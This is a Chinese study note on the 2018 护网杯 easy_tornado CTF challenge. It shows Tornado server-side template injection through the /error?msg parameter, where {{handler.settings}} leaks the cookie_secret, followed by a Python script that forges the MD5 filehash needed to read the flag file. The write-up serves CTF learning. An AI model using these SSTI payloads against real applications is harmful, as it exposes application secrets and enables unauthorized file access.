[护网杯 2018]easy_tornado学习笔记
正文一、代码审计信息收集二、SSTI漏洞分析与利用1. SSTI 定义2. 使用三、Tornado泄漏 cookie_secret四、计算flag正文一、代码审计信息收集访问首页发现三个文件链接ahref/file?filename/flag.txtfilehash49b3207af7a7a889737b9dce644875d8/flag.txt/aahref/file?filename/welcome.txtfilehash15f3b09568a454fd93c590fb81859bb3/welcome.txt/aahref/file?filename/hints.txtfilehashe480792a6a2b1b90ec09a6fb64754daf/hints.txt/a分别访问后获得关键信息文件内容含义/welcome.txtrender提示使用 Tornado 的 render 模板渲染/hints.txtmd5(cookie_secretmd5(filename))文件校验 hash 的计算公式/flag.txtflag in /fllllllllllllag真正的 flag 文件路径/hints.txt文件里关键发现filehash的计算公式为filehash md5(cookie_secret md5(filename))要访问 flag 文件必须知道cookie_secret。二、SSTI漏洞分析与利用1. SSTI 定义SSTIServer-SideTemplateInjection服务器端模板注入这是一种漏洞发生在后端使用模板引擎如 Tornado、Jinja2、Twig、Django 等渲染页面用户可控的数据如 URL 参数、表单输入直接传入模板引擎进行渲染攻击者可以构造恶意的模板表达式被模板引擎执行2. 使用当我们访问/file接口并传入错误的filehash时:curl-vhttp://1668a40ffb8a47645b9cc623.http-ctf2.dasctf.com:80/file?filename/flag.txtfilehashwrong21|grepLocation服务器会返回 301 重定向 Location: /error?msgError那我们就直接直接访问/error?msgtest123GET /error?msgtest123响应中test123被直接回显到 HTML 中说明msg参数被 Tornado 模板引擎渲染——存在 SSTI 漏洞。验证 SSTIGET /error?msg{{handler}}得到响应bodylt;__main__.ErrorHandler object at 0x7f23275232d0gt;/body确认handler对象可访问SSTI 有效。三、Tornado泄漏 cookie_secret在 Tornado 中handler.settings存储了应用配置包括cookie_secret。因此直接构造PayloadGET /error?msg{{handler.settings}}成功获取cookie_secret 1fbb6c04-fd49-4e89-8b63-79f8fea1c8a1。四、计算flag根据 hints.txt 给出的公式计算/fllllllllllllag的 filehash# 导入Python内置哈希加密库用于实现MD5加密算法importhashlib# 定义固定密钥字符串属于题目给出的加密盐值/私密密钥cookie_secret1fbb6c04-fd49-4e89-8b63-79f8fea1c8a1# 定义需要加密的目标文件路径字符串是加密原始明文filename/fllllllllllllag# 第一步加密流程# 1. 将filename字符串转为bytes字节流MD5加密只支持字节数据# 2. 调用md5()创建md5加密对象完成加密# 3. hexdigest()把加密结果转为32位十六进制小写字符串# 最终得到文件名单独MD5加密值赋值给m1m1hashlib.md5(filename.encode()).hexdigest()# 第二步加密流程二次加盐加密# 把私密密钥cookie_secret和第一步加密结果m1拼接成新字符串# 再次整体进行MD5加密得到最终加密哈希值filehashfilehashhashlib.md5((cookie_secretm1).encode()).hexdigest()# 格式化打印第一次MD5加密结果print(fmd5(filename) {m1})# 格式化打印二次加盐加密后的MD5加密结果print(ffilehash {filehash})最终请求GET /file?filename/fllllllllllllagfilehash52f5ee2cec41071eba1191f4abdc3f77

相关新闻

LeetCode Hot100 滑动窗口 + 前缀和专项题解笔记

LeetCode Hot100 滑动窗口 + 前缀和专项题解笔记

本次整理三道高频连续子数组/子串经典题: 3.无重复字符的最长子串(滑动窗口) 438.找到字符串中所有字母异位词(定长滑动窗口) 560.和为K的子数组(前缀和哈希,无法用滑动窗口)核心区分…

2026/10/11 10:29:08 阅读更多 →
深入解析C55x DSP底层驱动:PLL、PWR、RTC与TIMER模块实战指南

深入解析C55x DSP底层驱动:PLL、PWR、RTC与TIMER模块实战指南

1. 项目概述:从寄存器到驱动,掌握C55x DSP的底层脉搏如果你在嵌入式领域,尤其是数字信号处理(DSP)方向摸爬滚打过一阵子,一定会对“芯片支持库”(Chip Support Library, CSL&#xf…

2026/10/10 11:11:21 阅读更多 →
技术笔记:KV Cache友好的上下文设计(李博杰《深入理解 AI Agent》2.3观后总结)

技术笔记:KV Cache友好的上下文设计(李博杰《深入理解 AI Agent》2.3观后总结)

背景 大模型每生成一个新token,都需要引用前文所有token的注意力中间结果。如果没有缓存优化,计算开销会随着上下文长度急剧上升。 KV Cache 的核心思路:缓存已经计算完毕token对应的Key、Value向量。在单次推理内部,只计算新增t…

2026/10/7 11:23:29 阅读更多 →

最新新闻

WPS表格函数公式实战:VLOOKUP、SUMIFS避坑与组合应用

WPS表格函数公式实战:VLOOKUP、SUMIFS避坑与组合应用

简介:WPS官方函数公式视频教程是一份面向职场办公与数据分析人群的精选函数指南,旨在帮助用户系统掌握VLOOKUP、IF、SUMIF、COUNTIF等高频函数的实用技巧,解决数据处理中查找、统计、排序与日期计算的常见难题。压缩包共1个PDF文件&#xff0…

2026/10/11 10:28:12 阅读更多 →
预算只有几万块,要不要单独做GEO?看两个信号

预算只有几万块,要不要单独做GEO?看两个信号

预算只有几万块,值不值得单独做GEO?答案不在预算大小,而在两件事:你的行业有没有被AI模型高频问到,手里有没有现成内容能被引用。两样都没有,钱砸进去也看不到效果,这篇就按这个思路往下拆。 先…

2026/10/11 10:28:11 阅读更多 →
Node.js 定时任务的幂等与恢复设计:从重复触发到可靠执行

Node.js 定时任务的幂等与恢复设计:从重复触发到可靠执行

问题背景:定时触发不等于可靠执行 在 Node.js 服务中,用 setInterval 或 cron 库启动任务很容易,难点是让任务在重复触发、进程崩溃和服务停机之后,仍然产生正确的业务结果。例如,每天给符合条件的账户发放积分。部署多…

2026/10/11 10:28:11 阅读更多 →
长代码场景首选 ClaudeCode 搭配全离线内网工具,TaoToken 统一 Key 打通 RPA 7×24 小时落地

长代码场景首选 ClaudeCode 搭配全离线内网工具,TaoToken 统一 Key 打通 RPA 7×24 小时落地

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/11 10:28:11 阅读更多 →
Spring Boot物联网平台密钥泄露应急:密钥轮换与设备禁用实战

Spring Boot物联网平台密钥泄露应急:密钥轮换与设备禁用实战

半夜三点,手机震动把我从梦里拉出来。电话那头是运维同事的声音:“平台上一批设备密钥出现在日志截图里,已经有人拿着这个 Key 在尝试调设备接口了。”那一瞬间我脑子里的第一反应不是“要不要切备份”,而是“设备密钥泄露了怎么办…

2026/10/11 10:28:11 阅读更多 →
批处理执行模型与避坑实战:变量展开、括号块与for /f解析

批处理执行模型与避坑实战:变量展开、括号块与for /f解析

简介:《Windows命令行(批处理)语法全解》是一份面向Windows运维人员、开发者和脚本初学者的批处理语法参考文档。文档系统介绍了Command Shell与PowerShell两种命令行环境,不仅讲解如何编写.bat批处理文件,还深入分析了命令重定向运算符、for…

2026/10/11 10:27:11 阅读更多 →

日新闻

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

简介:基于 ARIMA、LSTM、Transformer 等模型的流感时间序列预测 Python 源码,面向计算机相关专业课程设计与期末大作业学生,以及项目实战学习者。内容覆盖预处理、平稳性检验、定阶、残差分析、多模型对比预测的完整时序建模流程,…

2026/10/11 0:00:27 阅读更多 →
影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别 做影刀RPA自动化,十个新手有八个栽在"往输入框里填东西"这件事上:要么填不进去,要么填了一半,要么直接把原来内容追加在后面。这背后的根因&…

2026/10/11 0:00:27 阅读更多 →
影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容 1. 认识影刀:什么场景该用RPA采小说数据 起点中文网的页面结构相对稳定——分类榜单、书籍详情、章节内容三块独立页面,跳转链路清晰。这种场景非常适合影刀自动化&#x…

2026/10/11 0:00:27 阅读更多 →

周新闻

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

简介:基于 ARIMA、LSTM、Transformer 等模型的流感时间序列预测 Python 源码,面向计算机相关专业课程设计与期末大作业学生,以及项目实战学习者。内容覆盖预处理、平稳性检验、定阶、残差分析、多模型对比预测的完整时序建模流程,…

2026/10/11 0:00:27 阅读更多 →
影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别 做影刀RPA自动化,十个新手有八个栽在"往输入框里填东西"这件事上:要么填不进去,要么填了一半,要么直接把原来内容追加在后面。这背后的根因&…

2026/10/11 0:00:27 阅读更多 →
影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容 1. 认识影刀:什么场景该用RPA采小说数据 起点中文网的页面结构相对稳定——分类榜单、书籍详情、章节内容三块独立页面,跳转链路清晰。这种场景非常适合影刀自动化&#x…

2026/10/11 0:00:27 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/10 5:23:50 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/9 21:32:20 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/10 10:38:42 阅读更多 →